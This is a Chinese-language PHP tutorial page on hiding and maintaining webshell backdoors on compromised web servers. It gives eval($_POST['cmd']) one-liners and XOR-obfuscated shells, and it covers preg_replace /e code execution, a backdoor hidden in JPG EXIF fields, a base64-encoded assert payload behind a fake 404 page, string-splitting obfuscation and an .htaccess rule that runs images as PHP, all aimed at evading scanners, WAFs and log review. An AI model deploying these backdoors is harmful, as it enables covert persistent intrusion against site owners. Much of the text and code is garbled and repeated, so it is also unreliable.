PHP後門隱藏與維持技巧-php教程-PHP中文網

在一個成功的測試後,通常會想讓特權保持的更久些.留後門的工作就顯得至關重要,通常佈設的後門包括但不限於數據庫權限，WEB權限，系統用戶權限等等.此文則對大眾後門隱藏的一些思路做科普。

AD：

0×00前言

在一個成功的測試後,通常會想讓特權保持的更久些.留後門的工作就顯得至關重要,通常佈設的後門包括但不限於數據庫權限，WEB權限，系統使用者權限等等.此文則對大眾後門隱藏的一些思路做科普.

以PHP-WEBBACKDOOR為例,拋磚引玉

一個最常見的一句話後門可能寫作這樣

eval($_POST['cmd']);?>

或這樣

或這樣

當然,這僅是調用的函數不同,關於PHP禁用的函數請在php.ini: disable_functions 中尋找.

但是運維直觀尋找我們shell的方式也有很多,如

透過檔案名稱/修改時間/大小,檔案備份比對發現異常

◆透過WEBSHELL後門掃描腳本發現,如Scanbackdoor.php/Pecker/shelldetect.php以及各種掃描器等等

◆透過Access.log訪問日誌發現後門所在

◆又或者,我們的測試一句話還要被WAF攔一下,再來個警告日誌,等等

針對常見的檢測方式,總結以下七常用手法對shell進行隱藏

0× 01規避

看看各種掃描後門的程式碼就知道,留一個眾人皆知,人人喊打的關鍵字在shell中是萬萬不能的

◆常見的關鍵字如:

◆常見的關鍵字如:系統指令執行: system, passthru, shell_exec, exec, popen, proc_open

過去有朋友機智的使用$_POST[0]($_POST[1])來執行命令,
過去有朋友機智的使用$_POST[0]($_POST[1])來執行命令,過去有朋友機智的使用$_POST[0]($_POST[1])來執行命令,過去有朋友機智的使用$_POST[0]($_POST[1])來執行命令, tudouya 同學在FREEBUF上給出[一種構造技巧](http://www.freebuf.com/articles/web/33824.html)利用
@$_++++@$_++++; // $_ = 1
$__=("#"^"|"); // $__ = _ "~");
$__.=("/"^"`");
"/"); // _POS $__.=(
"/"); $__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
構造生成,當然,嫌太直觀可以寫作這樣$_++;$__=("#"^"|").("."^"~ ").("/"^
"|"^

"{"^

"/");@${

$__}[!

$__}[$_]);?> ”免殺」shell樣本就出現了執行無誤,且繞過普通掃描器,也可依賴之寫新的臨時shell 0×02特性

0×02特性

有趣的手法.借用php在處理變數時的語法特性,會分析雙引號中的資料是否含有變數(並解析其值)

eg.:

${@

eval(phpinfo())}

${@

然後就可以大搖大擺的開始構造隱藏後門了,但此處構造欲再藉力於函數引起的命令執行,沒錯,就是preg_replace

"//e",

$_POST['cmd'],"");?> 玩法這已經進了器黑名單,簡單修改下

function funfunc($str){}
echo puncreg_replace(I"/( ")', $_POST["cmd"]); ?>
{對正的phpinfo()}}傳入funfunc時引起了程式碼執行

funfunc(

"{${phpinfo()}}")

另一種方法

$_GET['cmd']."";");?>

0×0333包含在內的方法包含在內的方法只是包含也有技巧

普通文件包含可能僅僅是一個include包含某個txt或jpg,甚至直接留一個包含漏洞,但掃描器也容易發現,多出的包含文件也易被發現

看此腳本

$_GET[content]))
ME','w');
file_put_contents('README',"
fclose( $fp);
require 'README';}由於file_put_contents等函數過於敏感,也是很容易被掃描發現編碼產生的方式創建shell,隨訪問而生成.

fopen(base64_decode('cGx1Z2120Gx1Z2'

?文件也要做簡單的隱藏以躲過查殺.

當然對於啟發式之類的新概念就不考慮了

在這種方式也滿足不了需求的情況下,機智的攻擊者又重拾圖片

$exif=exif_read_data('./lol.jpg');preg_replace($exif['Make'],$exif['Model'],''); 參考：一種隱藏在JPG圖片EXIF中的後門
這次不必再簡單的copy /b生成圖片馬了,借用preg_replace執行文件的特定標誌一樣可行

可能會提示Call to undefined function exif_read_data()

需要修改php.ini, extension=php_exif.dll

將其載入順序改為extension=php_mbstring.dll的後面

借助了preg_replace e參數,依賴了php的變量解析執行,又使用了base64編碼,最後依賴文件標識將一個完整的shell拼合,算是給初涉後門隱藏的童鞋一個小提醒
當然,只要有包含點,包含文件的形式是多樣的,甚至於包含error_log(雖然可能要考慮閉合),只有想不到…
0×04隱匿為了不讓訪問者發現後門的存在,機智的安全研究員也會混淆視聽故弄玄虛

HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">












Not Found





    @preg_replace("/[checksql]/e",$_POST['cmd'],"saft"); ,瀏覽頁面已經開始偽裝404以迷惑視聽了

但躲得過訪問者也躲不過日誌分析,為更好的隱藏在大量日誌中,構造如下腳本
HTTP/1.1 404');

ob_start();
1. @
2. fopen(p64_de decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));
4. ob_end_clean(); ?> 訪問 0×05混淆
$penh=
" kpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=";

$kthe=
"JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";
"w",
"",
"stwrw_wrwepwlwawcwe");
2. cmwmmmm LCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk";
3. $zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo smgv = $ftdf(
4. "", "bfafsfef6f4_fdfefcodfe"); ftdf("l","","lclrlelaltel_functlilon");
5. = ("gi", "",
6. $kthe.$wmmi.$penh))); $rdwm();
7. ? 終端下連接後像這樣Ps:截圖忘記修改終端編碼了:(
8. 當然在程式碼層面混淆視聽以躲過掃描器更常用的混淆視聽的方法:◆修改文件時間◆改名融入上傳後所在資料夾，讓人無法直觀看出文件時間◆文件大小的偽裝處理(至少看起大小像正常腳本)
9. ◆畸形目錄%20關於空格目錄,還是相對容易被發現的關於空格目錄,還是相對容易被發現的關於空格目錄,還是相對容易被發現的關於空格目錄,還是相對容易被發現的關於空格目錄,還是相對容易被發現的關於空格目錄,還是相對容易被發現的
0 ×06解析
利用.htaccess,加入解析後門

如:

AddType application/x-httpd-php jp

0×07雜糅

總結以上方法,大部分無非是一個構造漏洞的過程,漏洞構造的代碼能有多奇葩,後門就可以多奇葩.可以寫纖細婉約的,也可以搞簡單粗暴的,只是適用場合不同而已.如能很好的融合思路,構造自己的隱藏shell想來亦非難事.以上僅為總結經驗之談,各位有有趣的想法還望不吝賜教.

以上就介紹了PHP後門隱藏與維持技巧，包括了方面的內容，希望對PHP教程有興趣的朋友有所幫助。

PHP後門隱藏與維持技巧

Not Found